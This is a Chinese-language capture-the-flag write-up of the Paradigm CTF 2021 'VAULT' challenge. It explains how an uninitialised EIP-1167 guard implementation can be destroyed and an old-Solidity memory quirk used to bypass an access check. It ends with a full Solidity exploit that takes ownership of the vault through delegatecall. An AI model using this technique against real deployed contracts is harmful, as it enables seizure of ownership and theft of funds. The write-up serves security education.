VAULT
这道题涉及到了 EIP1167 代理合约(https://learnblockchain.cn/article/721)
function isSolved() public view returns (bool) {
return vault.owner() != address(this);
}
先看一下整体逻辑
function Setup() public {
// 设定 SingleOwnerGuard 为 guard defaultImplementation
registry = new GuardRegistry();
registry.registerGuardImplementation(new SingleOwnerGuard(), true);
// 利用EIP-1167创建一个代理合约 vault
// 原合约是 SingleOwnerGuard
vault = new Vault(registry);
// 授权 deposit 和 withdraw 两个函数
SingleOwnerGuard guard = SingleOwnerGuard(vault.guard());
guard.addPublicOperation("deposit");
guard.addPublicOperation("withdraw");
}
关键爆破点:
-
构造函数相关的字节码在
init-code
中,只能被调用一次。而自定义的initialize()
方法存在于runtime code
中,可被反复调用,需要自己写逻辑保证只能调用一次。
// 构造函数
function Vault(GuardRegistry registry_) public {
owner = msg.sender;
registry = registry_;
createGuard(registry.defaultImplementation());
}
// create new guard instance
// 利用EIP-1167创建一个代理合约
// 传入的是逻辑合约
function createGuard(bytes32 implementation) private returns (Guard) {
address impl = registry.implementations(implementation);
require(impl != address(0x00));
if (address(guard) != address(0x00)) {
guard.cleanup();
}
// 创建代理合约
guard = Guard(createClone(impl));
// 代理合约的初始化
guard.initialize(this);
return guard;
}
在 Vault 中只初始化了代理合约,而真正的逻辑合约 SingleOwnerGuard 并没有被初始化,类似于著名事件 anyone can kill your contract(https://github.com/openethereum/parity-ethereum/issues/6995)
-
调用一个被销毁的合约,它只是会执行STOP这一个OPCODE,不会REVERT,也就是说会调用成功
-
在solidity<0.5.0的版本中,返回值存放的位置指针与参数值的内存指针指向同一块内存地址。返回值拷贝到内存中时,如果返回值的实际长度为0,则其实际上拷贝到内存中的数值长度也为0。CALL不会去覆盖内存的值。
这意味着如果我们销毁了逻辑合约 SingleOwnerGuard ,那么会得到内存中已经存在的内容,即输入
因此当 SingleOwnerGuard 被销毁以后,我们传入的地址的第16位数值就是 error 的内存位置
这里可以选择使用 create 或者 create2 来生成特定的合约地址,使合约地址第16位为 NO_ERROR,绕开权限检查
-
emergencyCall 函数可以自行传入data,也就是说只要绕开了权限检查,我们可以做任何事
function emergencyCall(address target, bytes memory data) public {
require(checkAccess("emergencyCall"));
require(target.delegatecall(data));
}
完整的demo:
pragma solidity 0.4.16;
import "./Setup.sol";
contract FakeVault {
SingleOwnerGuard public guard;
function get(GuardRegistry registry) public {
guard = SingleOwnerGuard(registry.implementations(registry.defaultImplementation()));
}
function cleanup() public {
guard.initialize(Vault(address(this)));
guard.cleanup();
}
function owner() public returns (address) {
return address(this);
}
// 在 cleanup() 中会有判断 guard() 的逻辑
function guard() external view returns (address) {
return msg.sender;
}
}
contract OwnershipTaker {
function doit(Vault vault) public {
// data 为 0,就是调用 fallback 函数
vault.emergencyCall(msg.sender, new bytes(0));
}
}
contract vaultExploit {
// 注意:要修改的 owner 的位置需要和目标合约 vault 中的 owner 的位置相同,否则无法进行修改
address owner;
vaultSetup private setup;
OwnershipTaker addr;
function vaultExploit(vaultSetup setup_) public {
setup = setup_;
}
// 销毁逻辑合约
function part1() public {
FakeVault fakeVault = new FakeVault();
// 获得逻辑合约地址
fakeVault.get(setup.registry());
// 初始化并销毁
fakeVault.cleanup();
}
function part2() public {
while(true) {
// 使用 CREATE 来创造合约
addr = new OwnershipTaker();
// 判断是否满足条件
if (bytes20(address(addr))[15] == hex'00') {
break;
}
}
// 调用特定合约地址中的攻击函数
addr.doit(setup.vault());
}
// 在 fallback 函数里面实现修改 owner 的逻辑
function() external {
owner = address(0);
}
}
原文始发于微信公众号(ChainSecLabs):Paradigm CTF 2021——VAULT